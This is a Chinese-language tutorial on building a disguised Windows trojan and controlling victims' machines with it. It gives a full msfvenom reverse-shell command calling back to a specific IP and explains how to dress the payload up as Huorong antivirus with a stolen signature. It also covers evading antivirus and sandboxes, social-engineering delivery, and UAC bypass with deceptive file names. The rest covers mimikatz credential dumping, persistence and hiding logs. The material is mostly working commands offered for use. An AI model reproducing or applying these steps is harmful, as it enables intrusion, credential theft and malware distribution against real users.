攻击对象:windows主机
一.shell制作
1.准备工具
kali-linux
Metasploit模块(msfvenom和msfconsole)
VMP加壳软件
https://gitcode.com/Universal-Tool/42a67/blob/main/VMProtect%20Ultimate%20v3.3.1.zip
sigthief签名软件
https://github.com/secretsquirrel/SigThief
ResHacker资源替换软件https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip
2.创建shell(编码加密+捆绑软件)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.239.21.238 LPORT=1235 -e x86/shikata_ga_nai -x test.exe -i 12 -f exe -O huorong.exe
-p:指定payload类型为Windows Meterpreter反向TCP连接
LHOST:控制端IP地址
LPORT:控制端监听端口
-e x86/shikata_ga_nai:指定编码器为shitaka_ga_nai(一种多态编码器,适合x86架构)
-x test.exe:指定要捆绑的原始可执行文件
-i 12:指定12次编码(多次编码可以增强免杀效果,但会增加文件大小)
-f exe:指定输出格式为windows可执行文件
-O:输出shell到指定文件
3.替换资源
用RH替换火绒的图标

4.vmp加壳
打开vmp,使用vmp进行加壳

5.数字签名
将sigthief.py文件放在当前目录下
python sigthief.py -i HipsMain.exe -t huorong.exe -o hr.exe
-i:要提取签名的文件
-t:应用签名的文件
-o:输出的目标文件

6.查杀结果(23/72)

说实话,这个免杀还是太简陋了点,应该再加点pe修改或多次加密,最好是自研脚本(1/62的查杀率:D)
二.远程控制
tip(核心难点:通过社工把这个shell安然无恙放到目标主机上,当然要是对方电脑上啥安全措施都没就当我没说)
1.打开msfconsole
msfconsole
2.选择监听器
use exploit/multi/handler
exploit/multi/handler:一个多功能监听器(建立监听岗位)
3.配置载荷
set payload windows/meterpreter/reverse_tcp
windows/meterpreter/reverse_tcp:建立一个反向TCP连接(由机器内部向外网发起连接,更容易成功)
4.配置攻击机设置
set LHOST 47.239.21.238
set LPORT 1235
这里的LHOST与LPORT必须跟木马的一致
5.显示配置
show options
6.开始监听
exploit(或run)

当木马在目标机上运行时,攻击机就能与目标机进行连接从而实现控制目的
三.控制指令
run vnc -i#监视屏幕
upload ./oriFile ./desName#上传文件到靶机
download ./desFile ./local#下载靶机文件
shell#进入靶机终端
sysinfo#显示靶机基本信息
screenshot#屏幕截图
四. 反病毒与防御绕过
在实际渗透测试中,防病毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等防御措施通常会成为绕过攻击的一个大难题。为了提高渗透测试成功的几率,理解如何绕过这些防御措施是非常重要的。
1. 反病毒绕过
反病毒软件通常通过签名检测、行为分析和沙箱技术来发现和拦截恶意软件。针对这些防御技术,可以采用以下方法绕过:
-
加密与编码 :通过多次编码和加壳来改变恶意代码的特征,使其难以被反病毒软件识别。例如,使用msfvenom的
-e参数指定编码器,如x86/shikata_ga_nai,以及多次编码(-i参数)。 -
使用多种加壳工具:除了VMP(VMProtect)之外,还可以使用其他加壳工具,如Themida、Enigma Protector等,来进一步增强木马的隐蔽性。
-
注入合法进程:通过将恶意载荷注入到合法进程(如explorer.exe、svchost.exe)中,从而绕过反病毒软件的监控。
-
利用签名伪装 :使用
SigThief等工具获取有效的数字签名并伪装恶意文件,以提高木马的可信度。
2. 沙箱检测绕过
现代的反病毒软件往往会将未知程序发送到虚拟沙箱中执行,以检测其是否为恶意软件。为此,可以采取以下策略:
-
延迟执行:通过在恶意代码中加入延时代码,推迟代码执行的时间,从而避免在沙箱中被立即检测到。
-
反沙箱检测:通过检查系统环境(如检测是否处于虚拟机中),在程序启动时决定是否执行恶意载荷。
3. 反入侵检测系统(IDS/IPS)绕过
入侵检测和防御系统的目的是监控和拦截网络中的恶意行为。为了绕过这些系统,可以采取以下技术:
-
流量加密:通过加密通信流量,防止IDS/IPS检测到恶意流量的特征。
-
变换攻击模式:通过变换攻击的方式(如对shellcode进行变形或使用不同的攻击方法),使得攻击流量不易被IDS/IPS的规则库检测到。
五. 后渗透技巧
一旦成功获取了目标主机的控制权,后渗透阶段的目标通常是扩大权限、横向移动和收集更多的信息。以下是一些常见的后渗透技巧:
1. 权限提升
-
利用弱密码:通过暴力破解或字典攻击,获取目标主机上的管理员权限。
-
利用漏洞:针对操作系统或应用程序中的已知漏洞(如MS17-010 EternalBlue)进行漏洞利用,提升权限。
2. 横向移动
-
Pass-the-Hash:通过捕获目标主机上的哈希值,将其用作身份验证,访问同一网络中的其他主机。
-
RDP攻击:利用已获取的凭证,通过远程桌面协议(RDP)访问其他目标主机。
3. 信息收集
-
系统信息收集 :使用
sysinfo、ipconfig、netstat等命令收集目标主机的基本信息。 -
凭证抓取 :使用
mimikatz等工具抓取目标主机上的明文密码、存储在Windows凭据管理器中的密码、LSA凭证等。
4. 保持持久性
-
植入反向Shell:通过修改注册表或启动项,确保恶意代码在每次重启后自动运行。
-
建立反向连接 :利用如
netcat等工具,配置目标主机与攻击机之间的反向连接,保持持久的访问权限。
六. 防御与检测
了解防御技术对于渗透测试者来说至关重要。只有了解了防御方的做法,才能设计有效的攻击策略。
1. 反病毒与IDS/IPS监控
反病毒软件通常会监控文件系统中的可疑活动,IDS/IPS会监控网络流量。渗透测试者需要了解如何绕过这些监控,或者模拟防御方可能采取的反制措施。
2. 日志审计与分析
许多组织会启用日志记录功能,特别是针对管理员权限的操作。日志审计可以帮助检测异常行为。因此,攻击者需要注意隐藏操作痕迹,甚至伪造日志条目。
3. 基于行为的检测
许多高级反病毒软件和IDS/IPS系统都采用了行为分析,检测程序是否表现出恶意行为。因此,攻击者需要避免使用常见的攻击模式,并尽量使攻击行为更隐蔽
拓展内容:
1.msfconsole相关命令
常用模块
use auxiliary/scanner/smb/smb_ms17_010#探测是否存在MS17-010漏洞模块
use exploit/windows/smb/ms17_010_eternalblue#利用永恒之蓝模块
常用监听器配置
set ExitOnSession false#接收多个会话
exploit -j#让监听器在后台运行
set AutoRunScript post/windows/manage/migrate自动迁移进程(避免程序关闭导致会话丢失)
常用payload
set payload windows/meterpreter/reverse_tcp#反向TCP
set payload windows/x64/meterpreter/reverse_tcp#针对x64的反向TCP
set payload windows/meterpreter/reverse_https#反向HTTPS
set payload windows/meterpreter/bind_tcp#绑定TCP
set payload linux/x64/meterpreter/reverse_tcp#linux系统反向TCP
set payload android/meterpreter/reverse_tcp#安卓应用反向TCP
2.在msf中使用kiwi(Mimikatz)模块
(1).手动方法:
upload mimikatz.exe C:\\Windows\\Temp\\e.exe#手动上传对应版本的mimikatz
shell#打开cmd
cd /d C:\\Windows\\Temp#切换当前目录
e.exe "privilege::debug" "sekurlsa::logonpasswords" exit#获取明文密码
(2).交互方法:
提权(如果当前权限非Administrator或System时):
方法一:
getuid#查看当前系统权限
getsystem#多数情况下不能获取,可以试一下
方法二:
background#把会话放到后台
use exploit/windows/local/bypassuac#尝试绕过UAC
set session [UID]#设置会话
exploit
方法三:
use exploit/windows/local/ask#利用UAC提权
set session [UID]
set FILENAME System32.exe#设置一个迷惑的名字
exploit
##靶机只要允许程序运行即可提权
如果以上方法都不行:
run post/multi/recon/local_exploit_suggester#尝试本地提权漏洞检查
查看当前权限:
run post/windows/gather/win_privs#如果在本地管理员组就能用kiwi
kiwi相关用法:
load kiwi#加载kiwi模块
creds_all#列举所有凭据
creds_msv#列举所有msv凭据
creds_ssp#列举所有ssp凭据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz命令
kiwi_cmd privilege::debug#尝试获取debug权限
kiwi_cmd sekurlsa::logonpasswords#使用kiwi抓取全部明文密码
参考资料:https://blog.csdn.net/weixin_46236101/article/details/114745232
https://blog.csdn.net/weixin_74545038/article/details/134315726